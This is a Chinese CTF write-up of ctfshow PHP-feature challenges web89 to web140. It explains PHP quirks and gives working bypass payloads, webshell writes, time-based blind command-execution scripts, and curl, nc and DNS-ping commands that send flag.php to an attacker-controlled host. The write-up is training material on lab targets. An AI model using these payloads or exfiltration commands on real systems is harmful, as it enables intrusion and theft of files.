php特性(持续更新)

php特性(持续更新)
Lkaiweb89
1 | include("flag.php"); |
打开环境,发现检查url参数是否被设置,然后进入到判断条件的代码
然后preg_match是一个函数,用来执行一个正则表达式的匹配操作,在这个代码中是检测是否有0~9的数字
再下面一个函数intval函数是将一个变量转换为整数类型,如果遇到字符串就会转化为0
那问题来了我们该如何构造payload呢,
由于preg_match无法直接匹配数字(他只接受字符串或可被转换为字符串的值),所以他会返回false
接着传入intval函数时,由于传入的是数组,会直接将数组转化为1,并触发 E_NOTICE 错误(不过这不影响返回值)
所以我们构造payload
1 | ?num=num[]=75757 |

web90
打开源码
1 | include("flag.php"); |
发现过滤了4476,但是又要我们经过intval函数时得到的是4476,那这时我们就可以用4476的16进制,8进制或者加个小数,后面取整也是4476,但是又不完全等于4476

web91
1 | show_source(__FILE__); |
这两个if条件大致看起来是一样的,但是第一个条件他多加了一个参数m也就有了漏洞的出现
^
会匹配每一行的开头,而不仅仅是整个字符串的开始
$
:表示 匹配字符串的结束
当你在正则表达式使用/m标志时,匹配的行为发生了一些变化
^
会匹配每一行的开头,而不仅仅是整个字符串的开始
$
会匹配每一行的结尾,而不仅仅是整个字符串的结尾
也就是说多行模式会使得正则在遇到换行符(\n
)时,按行来进行匹配
那说明在第一个条件下,我们去用个换行符,然后用一行来满足php条件即可
但是在url中,\n和其他一些控制字符并不是合法的 URL 字符,所以我们将\n进行url编码得到
%0a,于是我们构造payload
1 | cmd=ll%0aphp |

web93
1 | include("flag.php"); |
这题多加了个正则匹配来查询大小写字母,这样的话我们就不能用16进制了,我们就可以用8进制或者数字
1 | num=4476.10 或者用010574 |
web94
1 | include("flag.php"); |
strpos()
是 PHP 中的一个字符串查找函数,它用于在 字符串 $num
中查找 子字符串 "0"
第一次出现的位置
在这题中前面加了个非(!),所以我们的八进制就用不了了,因为他的0在第一位所以返回的是0,但是我们的小数点还是可以用的
1 | num=4476.20 |
web95
1 | include("flag.php"); |
发现这次还过滤了.号,那咋办呢,突然想起前面那时候查找intval函数时 “+”,“-” 和空格号 是会解析成无的
因此我们可以构造payload
1 | num= 010574 +010574 |
web96
1 | highlight_file(__FILE__); |
发现只是禁了个flag.php,那我们就有很多方法来做了
1 | 直接访问 u=/var/www/html/flag.php |
web97
1 | include("flag.php"); |
代码逻辑是post传入的两个值要不同但是md5的值要相同,这时就可以利用md5函数的漏洞,传入数组时会返回NULL;于是构造payload
1 | a[]=9&b[]=8; |
web98
1 | include("flag.php"); |
先代码分析一波,是三目运算符
第一句:如果传入get参数,则get参数变成post的参数
第二句:如果get的flag参数等于字符串”flag”,那么get的参数变成cookie的参数
第三句:如果get的flag参数等于字符串”flag”,那么get的参数变成server的参数。
第四句:如果get传入HTTP_FLAG参数的值是字符串”flag”,那么高亮显示$flag变量对应的文件,否则就是当前文件
你get传参的话,get的参数会因为引用的关系,是同一地址,就被覆盖掉了
因此我们只要随便get一个值,然后post传入HTTP_FLAG=flag 就可以成功了
因此我们构造payload
1 | get url+?xxx=a |
web99
1 | highlight_file(__FILE__); |
这题的考点应该是in_array() 函数特性:第三个参数没有设置的时候,为弱类型比较
file_put_contents()
是 PHP 用来写入文件的函数,它可以将字符串内容写入到指定的文件中
array_push()
是 PHP 中用于向数组末尾添加一个或多个元素的函数
in_array()
是 PHP 中用于检查某个值是否存在于数组中的函数
0x36d也就是887 然后会循环851次,用伪随机数来生成并存入数组中,由于file_put_contents函数是写入文件的,所以我们get传参的时候,需要传入一个php的文件,数字就从1到887取一个就好,不过1到36的几率肯定是最大的,我们可以传入一个木马
然后在1.php文件中来执行命令
最后查看源码得到flag
当然我们也可以用第2种,在传入的php文件中直接用执行命令
web100
1 | highlight_file(__FILE__); |
这题的考点是逻辑运算符的优先级:”&&” > “||” > “=” > “and”,等号的优先级高于and,所以v0只跟v1有关系,v2和v3是干扰
然后就很容易满足条件了,我自己的payload的是这个
1 | ?v1=1&v2=system&v3=;system('cat ctfshow.php'); |
然后查看源代码就可以了
然后看了官方给的payload是
1 | ?v1=1&v2=var_dump($ctfshow)/*&v3=*/; |
var_dump()
是 PHP 中的一个内置函数,用于 显示变量的详细信息,包括变量的类型和内容。它通常用于调试,以便开发人员了解变量的具体结构,然后把v3注释掉只留一个;
web102
1 | highlight_file(__FILE__); |
下介绍一下函数
substr()
是 PHP 中的一个字符串函数,用来截取字符串中的一部分
1 | substr(string $string, int $start, ?int $length = null): string |
例子
1 | substr("abcdef", 0, 3); // 输出 "abc" |
call_user_func()
是 PHP 的一个函数,用来动态调用另一个函数或类的方法
1 | mixed call_user_func(callable $function, mixed ...$args) |
$function
:你想调用的函数名(字符串形式、数组形式都可以)
$args
:传给那个函数的参数
file_put_contents()
是 PHP 中用于写入文件内容的函数
1 | file_put_contents("hello.txt", "Hello, world!"); |
这个代码会把 Hello, world!
写入 hello.txt
,如果这个文件之前存在,它原来的内容就会被覆盖
由于=号的优先性大于and符号,所以我们要保证v2必须是数字,嘻嘻不会写了于是看wp
由于v3要是文件,但是你如果直接用php代码的话肯定是不行的,因为v2要求的就是数字,所以我们v3的内容是利用伪协议写入,编码形式采取base64,然后函数的话我们调用hex2bin函数,将16进制转化为字符
科学计数e是唯一可以在is_numeric中不会影响判断数字的字符。所以可选字符只有0-9和e,先测试一个开头<?php
(PD9waHAg)和<?=
(PD89)均是可以的
测试了几个命令执行的函数均不能在限定字符内实现,但是还有一个反撇号。单独只使用反撇号的话,<?php
不能用,只能使用短标签。就是说
1 | #下面这个是不会在页面输出结果的。 |
所以我们就要运用到短标签了,短标签<?=
是echo() 的快捷用法,所以它会把结果输出出来
这就也试过 cat f*的,但是回显不出来,所以我们干脆cat全部的
然后由于截取字符串函数,所以我们在前面随便加两个数字就可以了,因此我们终于可以构造payload了
1 | get v2=115044383959474e6864434171594473&v3=php://filter/convert.base64-decode/resource=shell.php |
web103
web104
1 | highlight_file(__FILE__); |
发现是最弱的比较,直接传数组即可,传相同的也可以
web105
1 | highlight_file(__FILE__); |
这个代码foreach($_GET as $key => $value)
$_GET
是 PHP 内置的一个 超全局数组,用来接收 URL 中 ?xxx=yyy
的参数。
foreach($_GET as $key => $value)
就是把这些参数一一取出来。
$key
是参数名,$value
是参数值
比如传入name=alice&age=20
则得到$key=name $value = alice
然后这题的考点是变量覆盖
1 | $a='b';$c='d'; |
然后这里说post flag的值等于$flag(也就是我们需要flag{}),但是如果你直接传的话肯定会因为变量覆盖而改变掉
所以这个postflag的条件根本上过不了,所以我们尝试让$suces
或者$error
存放flag值,这样就算没过这个条件,输出error,因为此时的error已经被修改成flag的值
所以我们构造payload
1 | get suces=flag |
代码流程
$suces=$flag 所以这时候suces就等于我们要的flag的值flag{},然后post传完 $error=$suces 所以error的值就变为flag了
web106
1 | highlight_file(__FILE__); |
这只是一个弱比较,只需传入两个加密后是0e开头的或者用数组就可以了
1 | get v2[]=1 |
web107
1 | highlight_file(__FILE__); |
parse_str()
是 PHP 中的一个函数,用来解析 URL 查询字符串,并把里面的参数转成变量,或者赋值到数组中
例子
1 | $query = "x=100&y=abc"; |
1 | Array |
$v2[‘flag’]就是从数组 $v2
中取出键名为 'flag'
的对应值
然后md5加密之后如果是0e开头就会被解析为0,所以我们只需要讲v2对应的flag的值也为0就可以了,由于上面函数的特性可知,我们讲v1传进去flag=0则就成功了,所以我们构造payload
1 | get v3=aabg7XSs |
web108
1 | highlight_file(__FILE__); |
ereg函数存在NULL截断漏洞,可以绕过正则过滤,使用%00截断,erge在后面的版本中被抛弃了
strrev()
是 PHP 的一个字符串函数,用来 将字符串反转
0x36d的10进制是877,所以我们构造payload
1 | c=b%00778 |
web109
1 | highlight_file(__FILE__); |
因为有个echo,v1又要是类,所以我们得找到满足有_tostring魔术方法的,这里我们找到ReflectionClass之前用过的这个类,虽然这个类在这里没起什么作用
这里也就解释了我们v2后面的括号并不影响,因为PHP先运行我们传入的v2函数,然后将返回值作为我们后面括号的函数变量名进行再次调用,这里失败了也无所谓,因为我们的v2函数执行了即可
于是我们构造payload
1 | ?v1=ReflectionClass&v2=system(ls) |
之后才cat这个文件就好啦,或者直接访问也可以
web110
1 | highlight_file(__FILE__); |
这题发现过滤了很多东西,就不能上上个代码那么使用了
由于我们知道v1是要传入一个类,v2是一个函数,然后v2是他的参数,又因为有echo,所以我们需要那个类实现了_tostring魔术方法,于是我查找了一些类和函数,这里顺便介绍一下
getcwd()
是 PHP 中的一个内置函数,它的作用是 获取当前工作目录(Current Working Directory, CWD)。
string getcwd ( void )
返回值:返回当前的工作目录(即 PHP 代码运行时的默认目录
所以我们可以用这个函数,得到当前路径,然后传入这个v1这个类中的构造函数
DirectoryIterator
类简介
DirectoryIterator
是 PHP 标准库(SPL,Standard PHP Library)提供的一个 目录迭代器,用于遍历文件系统中的目录。它允许你像操作数组一样遍历目录中的文件和子目录,并获取它们的详细信息
这么一看这个类好像可以呀,又有魔术方法,作用也是列出目录文件,但是当我传上去的时候返回的是.. ,那这是为啥呢,因为DirectoryIterator
默认包含 .
和 ..
,需要手动跳过它们
这个双点代买的是父级目录,然后这个单点代表的是当前目录
FilesystemIterator
是 PHP 内置的一个类,用于遍历目录中的文件和子目录,是 DirectoryIterator
的增强版
自动跳过 .
和 ..
(不像 DirectoryIterator
,FilesystemIterator
默认不会列出 .
和 ..
)
所以我们这题的payload可以用这个类,在看看下面几个类
SplFileInfo
是 PHP 标准库(SPL)中的一个类,用于获取文件和目录的信息。
它提供的方法可以用于获取文件的路径、扩展名、大小、修改时间等
GlobIterator
是 PHP SPL(Standard PHP Library,标准库)中的一个类,用于匹配和遍历文件系统中的文件,类似于 glob()
函数,但它返回的是一个迭代器,更适合在面向对象的代码中使用
但是我构造这个payload时,发现只返回了html,于是就去搜了一下
1 | ?v1=GlobIterator&v2=getcwd |
由于 getcwd()
返回的是 /var/www/html
,而 GlobIterator
使用这个路径作为 glob 模式只匹配到这一项,且当输出该匹配项时,通过 SplFileInfo
的 __toString()
方法得到的就是路径的最后部分 html
。因此 payload 返回 html
又搜了一下函数
glob()
是 PHP 内置的文件系统函数,用于查找与指定模式匹配的文件和目录。它使用通配符进行匹配,类似于 Linux 的 ls
命令,因为有正则匹配的限制,所以他这里用不了
所以我们最终构造payload
1 | ?v1=FilesystemIterator&v2=getcwd |
然后其实csd这个地方总结的挺好的,可以去看他的博客php内置类信息泄露 | 达达
然后再访问这个文件得到flag
web111
1 | highlight_file(__FILE__); |
发现v1要求是包含ctfshow的字符串,然后还过滤了很多字符,导致不能用到命令执行的函数然后getflag的方法中用到了变量覆盖,然后我就想着构造一下payload
1 | v1=ctfshow&v2=flag |
结果返回的是NULL
然后去搜了一下得知因为 $flag 在自定义函数 getFlag 函数中没有定义,$flag 是属于 flag.php 中的变量,对于 getFlag 来说是外部变量,不能直接使用
因此这里使用超全局变量 $GLOBALS,$GLOBALS 是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键
$GLOBALS
就像是 PHP 所有变量的“总词典”,用它你可以在任何地方获取当前脚本中定义的全局变量
如果你直接使用GLOBALS就会以数组的方式全部显示出来,因此我们构造payload
1 | v1=ctfshow&v2=GLOBALS |
web112
1 | highlight_file(__FILE__); |
先介绍一下函数 is_file($file)
这是 PHP 的一个内置函数:
判断某个路径是否是一个“存在的常规文件
由于前面加了一个非,所以我们不能直接去读取文件,所以我们可以用伪协议,然后发现filter函数又过滤了一些过滤器,和路径穿越,所以我们伪协议就不用read和write过滤器了,直接读取flag
1 | file=php://filter/resource=flag.php |
web113
1 | highlight_file(__FILE__); |
把filter也过滤掉了,那现在来讲一下zip伪协议
包含三个部分zip://, bzip2://, zlib://协议
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
zlib://协议
compress.zlib://file.gz
简单来说,就是可以让你像操作文件一样操作 .gz
或者 zlib 压缩格式的内容
但是他的容错性比较高,即使环境中数据未压缩,也能读取出内容
bzip2://协议
compress.bzip2://file.bz2
允许你读取或写入经过 bzip2 压缩的数据流
这个包装器严格要求目标文件必须是 bzip2 压缩格式,否则解压会失败或返回错误
zip://协议
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
所以我们这时就可以用zlib://来构造payload 即使数据没有经过压缩也没关系
1 | file=compress.zlib://flag.php |
然后还有一种方法,看的wp
利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了。 payload:
1 | file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php |
web114
1 | error_reporting(0); |
这过滤了一些112的非预期的https://blog.csdn.net/Myon5/article/details/140434543可以看下这里
直接用112的payload
1 | file=php://filter/resource=flag.php |
web115
1 | include('flag.php'); |
先介绍一下函数
str_replace
是 PHP 的一个内置函数,用于替换字符串中的子串。它可以查找一个字符串中的某个部分,并用另一个字符串替换它
1 | str_replace($search, $replace, $subject, &$count) |
$search
:要查找的内容,可以是字符串或字符串数组。
$replace
:替换成的内容,可以是字符串或字符串数组。
$subject
:要进行替换的原始字符串或字符串数组。
$count
(可选):用于返回替换发生的次数
trim
是 PHP 中的一个内置函数,用于去除字符串开头和结尾的空白字符(或其他字符)。这个函数常用于清理用户输入的数据,去除不必要的空格、换行符、制表符等
这样就导致我们知道的空格点啥的都用不了,首先第一个条件是必须要是数字
然后第2个这里的逻辑符号是!==,是严格的比较运算符,需要类型和数值都相等
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。此规则也适用于 switch 语句。当用 === 或 !== 进行比较时则不进行类型转换,因为此时类型和数值都要比对
所以其实第2个和第三个条件也挺好过的,本来第一个条件就要求是数字,如果是数字那就不是字符串,那么类型就不相等,也就满足第2个和第三个条件
第4个条件那些啥的都不能用,不会了嘻嘻,wp说是用%0c,然后去搜了一下
%0c
(换页符,Form Feed)在 URL 编码中是一个不可见的字符,用于绕过过滤器、清理和字符检查。它可能在一些特定的过滤机制中作为绕过方式被使用,尤其是当过滤器只处理常见的空格、换行符或特定字符时
所以这个也不会被trim函数检测掉,因此我们构造payload
1 | num=%0c36 |
web123
1 | error_reporting(0); |
这里要求不能出现fl0g的get参数,然后$fl0g等于flag_give_me满足条件就可以了
然后c这个参数过滤了一些一些基本的命令参数,然后eval来执行c这个php代码
其实我们这里可以直接输出flag
然后由于在php中变量名只有数字字母下划线,所以这这个CTF_SHOW.COM我们是构造不出来的,然后去网上搜了一下,如果含有空格、+、[则会被转化为_,所以构造payload
1 | CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag |
然后看了一下wp,考点在这个代码上$a=$_SERVER[‘argv’];
这是一个数组,通常用于命令行模式下运行 PHP 脚本时保存传入的命令行参数
例如,在命令行中运行 php script.php arg1 arg2
,那么 $_SERVER['argv']
数组的内容通常是:
1 | Array |
在网页模式下(通过浏览器访问 PHP 脚本),$_SERVER[‘argv’] 通常不包含有用的信息,因为网页请求没有命令行参数。然而,有时服务器配置会将查询字符串或其他信息填充到 $_SERVER[‘argv’] 中
然后又看了这个函数parse_str
parse_str
是 PHP 的一个内置函数,用于解析 URL 查询字符串,并将其中的变量赋值到当前作用域或作为关联数组返回
他有两个语法,可以直接赋值到变量
1 | parse_str(string $string); |
还有一个就是解析到数组中去
1 | parse_str(string $string, array &$result); |
这个result就是这个数组,会将$string的内容,放到数组中去
通过加号 + 分割 argv 成多个部分,也是为了得到 fl0g=flag_give_me ,其中 parse_str() 函数用来把查询字符串解析到变量中
当我们传入?a=1+fl0g=flag_give_me时 这时的a[1]就是 fl0g=flag_give_me,然后我们再直接赋值到变量就可以满足条件了,因此构造payload
1 | get a=2+fl0g=flag_give_me |
web125
1 | error_reporting(0); |
发现过滤了上个的非预期,原来还有var_dump GLOBALS这个也可以
然后居然还有其他的非预期也是够离谱了
可以看看这里哈哈哈ctfshow-web入门-php特性(web123、web125、web126)_ctfshow web123-CSDN博客
输出内容函数大多被限制了,但是highlight_file
肯定没有被限制,当前页面就用到了,所以用highlight_file
高亮显示。限制了长度,那么可以考虑get再传参
用highlight_file()利用GET把fun要显示的文件变为由shell GET到的文件
1 | get a=flag.php |
我们可以继续上题的原payload
1 | get a=2+fl0g=flag_give_me |
web126
1 | error_reporting(0); |
又把上个的过掉了
所以我们用原来的预期就可以了
1 | get a=2+fl0g=flag_give_me |
web127
1 | error_reporting(0); |
看到不认识的函数
extract()
是 PHP 中的一个函数,用来将关联数组的键名作为变量名,键值作为变量值,导入到当前的符号表中
1 | $arr = array( |
用变量覆盖就行,这里_被正则了,由于web123,可知如果含有空格、+、[则会被转化为__,由于[和+号都被过滤了,所以我们用空格
1 | ctf show=ilove36d |
web128
1 | error_reporting(0); |
(call_user_func这个函数之前介绍过,就是回调函数,第一个参数是函数名,第2个就是函数名的参数,看了半天不会
_()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll,那这个函数是干什么的呢
1 | gettext(string $message): string |
$message:你要翻译的文本(通常是原始文本,英文等)。
返回值:翻译后的字符串,如果没有找到翻译,则返回原始的 $message
所以我们用这个函数返回一个原始的字符串,然后让那个字符串也是一个函数,且能显示内容,再由最外面的var_dump出来
get_defined_vars()
是 PHP 的一个内置函数,用于返回当前作用域中所有已定义的变量的关联数组
语法
1 | $a = 10; |
由于f1有正则,不能有字母,我们就用gettext() 函数的扩展模式_(),
1 | f1=_&f2=get_defined_vars |
web129
1 | error_reporting(0); |
stripos()
是 PHP 的一个内置函数,用于在一个字符串中查找另一个字符串的位置,不区分大小写
跟那个strpos函数差不多,这个条件就是要求我们的get中要求有ctfshow这个字符串
readfile()
是 PHP 的一个内置函数,用于 读取文件并输出到输出缓冲区(即将文件的内容直接输出到浏览器或终端)。它是 直接输出文件内容 的一种快捷方式
所以我们可以直接读取flag.php 但是由于要求有ctfshow字符串,所以我们可以先到ctfshow这个目录下,然后再返回上一级目录即可
./代表当前目录,之后查看源码就得到
1 | f=./ctfshow/../flag.php |
我们也可以使用filter过滤器,利用php伪协议可以套一层协议,无效的话会被忽略
1 | f=php://filter/ctfshow/resource=flag.php |
我们也可以添加过滤器
1 | f=php://filter/convert.base64-encode/ctfshow/resource=flag.php |
web130
1 | error_reporting(0); |
第一个正则表达式意思是
.+?表示“匹配至少一个任意字符,但以非贪婪方式进行匹配”,也就是说它会匹配尽可能少的字符以便后面能够接上
ctfshow
s
修饰符使得句点 .
能够匹配换行符,即把整个字符串视为一个整体,不受换行符影响
第2个条件则是需要出现ctfshow,看似有点矛盾,其实我们前面只要不加字符串,第一个正则就过掉了
1 | f=ctfshow |
当stripos应用于数组的时候会返回null,null!==false
1 | f[]=1 |
web131
1 | error_reporting(0); |
加了一个36D,那就不能用上面的方法了,不太会去看了wp
当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数
1 | import requests |
注意这里http是不能有s的因为
如果目标服务器的 HTTPS 使用的是 自签名证书 或 无效证书,Python 的 requests
库会抛出 SSLError
,导致请求失败
web132
打开是个网页
刚好想到csd教我妙妙工具 disearch命令
Dirsearch是一个用于探测WEB服务器下的敏感文件/目录的命令行工具
-h, --help 显示此帮助消息并退出
Mandatory:
-u URL, --url=URL URL目标
-L URLLIST, --url-list=URLLIST URL列表目标
-e EXTENSIONS, --extensions=EXTENSIONS 以逗号分隔的扩展列表(示例:php、asp)
-E, --extensions-list 使用公共扩展的预定义列表
Dictionary Settings:
-w WORDLIST, --wordlist=WORDLIST 自定义单词表(用逗号分隔)
-l, --lowercase
-f, --force-extensions 强制扩展每个单词表条目(如DirBuster)
常规设置:
-s DELAY, --delay=DELAY 请求之间的延迟(浮点数)
-r, --recursive 递归暴力
-R RECURSIVE_LEVEL_MAX, --recursive-level-max=RECURSIVE_LEVEL_MAX 最大递归级别(子目录)(默认值:1[仅限根目录+1目录])
--suppress-empty, --suppress-empty
--scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS 扫描给定-u |--url的子目录(分开逗号)
--exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS 在递归过程中排除下列子目录扫描(用逗号分隔)
-t THREADSCOUNT, --threads=THREADSCOUNT 线程数
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES 排除状态代码,用逗号分隔(例如:301,500个)
--exclude-texts=EXCLUDETEXTS 用逗号分隔的文本排除响应(示例: "Not found", "Error")
--exclude-regexps=EXCLUDEREGEXPS 按regexp排除响应,用逗号分隔(示例:"Not foun[a-z]{1}", "^Error$")
-c COOKIE, --cookie=COOKIE
--ua=USERAGENT, --user-agent=USERAGENT 用户代理
-F, --follow-redirects --遵循重定向
-H HEADERS, --header=HEADERS 页眉,--页眉=页眉
要添加的标题 (example: --header "Referer:example.com" --header "User-Agent: IE")
--random-agents, --random-user-agents 随机代理,--随机用户代理
连接设置:
--timeout=TIMEOUT 连接超时
--ip=IP 将名称解析为
1 | sudo dirsearch -u https://109d4725-fab7-4edc-a141-30d6c5564175.challenge.ctf.show/ |
使用命令扫描
发现admin于是直接访问
1 | include("flag.php"); |
mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。
该函数是产生随机值的更好选择,返回结果的速度是 rand() 函数的 4 倍。
如果您想要一个介于 10 和 100 之间(包括 10 和 100)的随机整数,请使用 mt_rand (10,100)
运算符优先级:在 PHP 中,&&
的优先级高于 ||
,所以说满足if条件需要满足前面两个共同成立,或者后面一个成立就可以了,所以我们构造payload时,只需满足后面的就可以了
1 | username=admin&code=admin&password=12345 |
web133
1 | error_reporting(0); |
反引号(``)在 PHP 中是 shell_exec()
函数的缩写
它的作用是调用系统命令行,比如 ls
, cat
, whoami
等。
在 CTF、代码审计、漏洞分析中,经常用于发现 命令执行漏洞。
看似像着是rce长度限制,先测试是否能写入文件
1 | ?f=`1`; |
发现不能,那就不是长度限制rce,看了wp说是要用变量覆盖 ,反引号``是shell_exec()函数的缩写,然后就去命令执行,由于要是6个字符,所以我们构造后面的代码前得加个空格或者+号在前面
换句话说,加号在这里充当了一个“填充符”,确保经过 substr()
截取后的 6 个字符构成的字符串是一个合法的 PHP 表达式
先执行一下代码
1 | F=`$F`;+sleep 10 |
发现能休眠10秒那就是对的,然后这上面还告诉你了个flag.php文件,于是我们可以用外带的办法,然后外带也是有两种方法的
第一种是利用bp的 Collaborator
将生成的payload复制到剪贴板之后,使用curl命令
-F
参数用来向服务器上传二进制文件 ,将文件flag.php 作为xx字段上传
由于我们知道这个环境中有个flag.php文件,于是我们使用-F参数上传
1 | F=`$F`;+curl -F file=@flag.php http://你生成的payload |
当然也可以使用你自己的服务器,先让你的服务器监听一下端口
1 | nc -lvp 你的端口 |
然后再使用一下命令
1 | F=`$F`;+curl -F file=@flag.php http://服务器的ip地址:端口 |
然后还有一种方法就是dnslog外带法
首先讲讲dns,这里用一个比较官方的解释吧,摘自百度百科:
DNS(域名解析):
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。
域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。
而如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要通过linux中的ping
命令或者curl
命令哈
然后这里推荐一个dnslog的利用平台:ceye http://ceye.io/,我个人觉得挺好用的,当然大佬们也可以选择自己搭,注册账号之后,会给一个域名,当发起的请求中含有这个域名时,平台就会有记录,[DNSLog Platform](http://www.dnslog.cn/)这个在线平台也是不错的
顺便将一下ping命令
在网络中ping是一个十分强大的TCP/IP工具。它的作用主要为:
1、用来检测网络的连通情况和分析网络速度
2、根据域名得到服务器IP
3、根据ping返回的TTL值来判断对方所使用的操作系统及数据包经过路由器数量
我们通常会用它来直接ping ip地址,来测试网络的连通情况
bytes值:数据包大小,也就是字节。
time值:响应时间,这个时间越小,说明你连接这个地址速度越快。
TTL值:Time To Live,表示DNS记录在DNS服务器上存在的时间,它是IP协议包的一个值,告诉路由器该数据包何时需要被丢弃。可以通过Ping返回的TTL值大小,粗略地判断目标系统类型是Windows系列还是UNIX/Linux系列。
默认情况下,Linux系统的TTL值为64或255,WindowsNT/2000/XP系统的TTL值为128,Windows98系统的TTL值为32,UNIX主机的TTL值为255。
因此一般TTL值:
100~130ms之间,Windows系统 ;
240~255ms之间,UNIX/Linux系统
如果需要参数的讲解的话 ping 命令的用法大全(图文详解)_ping -l-CSDN博客
当这个题的ip地址,向下一层域名发起解析,就可以拿到数据
1 | F=`$F`;+ping `cat flag.php|grep ctfshow(命令)`.g5ulkj.dnslog.cn -c 1 |
web135
1 | error_reporting(0); |
这题把curl都给curl也给禁掉了,那就只好用ping命令去外带了,但是不知道为啥dns外带实在带不出去真恶毒是醉了,这里先介绍一些命令
1 | awk: |
1 | tr: |
然后我们就用到payload
1 | F=`$F`;+ping `nl flag.php | awk 'NR==16' | tr -cd 'a-zA-Z0-9-' `.你控制的域名 |
然后我先开始不懂为什么ping后面能接命令,于是我就去搜了一下,发现这其实是一种命令替换
命令替换有两种形式
1 | 1.使用美元符号和括号 $() |
当你命令里面如果返回的是一个真实存在的主机,那么主机就会被解析成一个ip地址
如果返回的是一个信息的话,那么就用于信息回传或DNSlog的中转域
就例如返回的文本.yourdnslogdomain.com, DNS 系统就会向 DNSlog 平台发出解析请求,从而在 DNSlog 后台看到这条记录
然后这个NR是对于特定的行(flag 在多少行是需要不断尝试出来的)尝试出来是在15和16行,所以是要发包两次的
然后注意是要将字母都化为小写就可以了
web136
1 |
|
去搜了一下exec函数,这个是有两种情况的
在Linux下
exec
是一个内建的Unix/Linux shell命令,主要用于替换当前的shell或者脚本进程,并执行指定的命令1。在exec命令执行后,新的进程将会完全代替原来的进程。也就是说,新的进程并不是原来进程的子进程,而是原来进程的替代者,即抛弃子进程的数据,运行一个全新的程序
php下
1 | exec (string command [, string array [, int return_var]]) |
执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array 可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二 个参数时,才可以用第三个参数,用来取得命令执行的状态码
说明exec函数是无回显的函数,说明题目的题型是无回显rce
再来解释一下tee命令
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件
由于.被过滤掉了,我们只能无后缀来写了
1 | c=ls | tee 1 |
然后再访问1这个目录然后就会下载
然后再一次下载
1 | c=cat /f149_15_h3r3 | tee 2 |
得到flag
web137
1 | error_reporting(0); |
没有任何过滤,所以我们直接用作用域限定符注入
1 | ctfshow=ctfshow::getFlag |
web138
1 | error_reporting(0); |
这题比上题过滤了作用域限定符,由于源代码里面call_user_func函数是只有一个参数的,但是我们可以用数组形式的函数调用参数,使用ctfshow[]的写法,php会自动把同名字段合并成一个数组
因此我们构造payload
1 | ctfshow[]=ctfshow&ctfshow[]=getFlag |
就会等价于
1 | $_POST['ctfshow'] = ['ctfshow', 'getFlag']; |
也就等于我们上个题的效果
web139
1 |
|
这题把那个下载的权限也给关了,然后dns也没了,然后又是无参的于是用盲注来解决,感觉盲注大部分都是sql用的多,盲注字面意思就是穷举来写,这边直接用别人呢写的exp
1 | import requests |
就说先初始化字符集和结果变量,字符集里面包括了所有字母、数字、下划线和波浪符
然后用i进行外层循环,就是遍历目录文件的个数
用j进行内层循环,对文件名进行遍历
然后用n进行字符探测逻辑
用awd截取各文件的n行字符,然后用cut命令截取字符,用if、条件来进行判断是否为初始化字符集的,如果超时说明匹配成功,当字符 ~
被遍历时,说明所有可能字符均未匹配,可能已到达文件名末尾,然后终止条件
然后再将命令换成 cat /f149_15_h3r3 ,然后那个外层循环查找文件名的就不要了
1 | import requests |
web140
1 | error_reporting(0); |
意思是要f1和f2都是字母,这里需要f1和f2为两个函数,然后看到这个if条件这里,==为弱类型比较,这个’ctfshow’是一个字符,当他前面没有数字时就默认是0,所以我们只需要让intval($code)=0即可,然后我们用到的函数是strrev(字符串反转函数)
1 | strrev() → strrev(null) = "" → strlen("") = 0 |
所以payload
1 | f1=strlen()&f2=strrev() |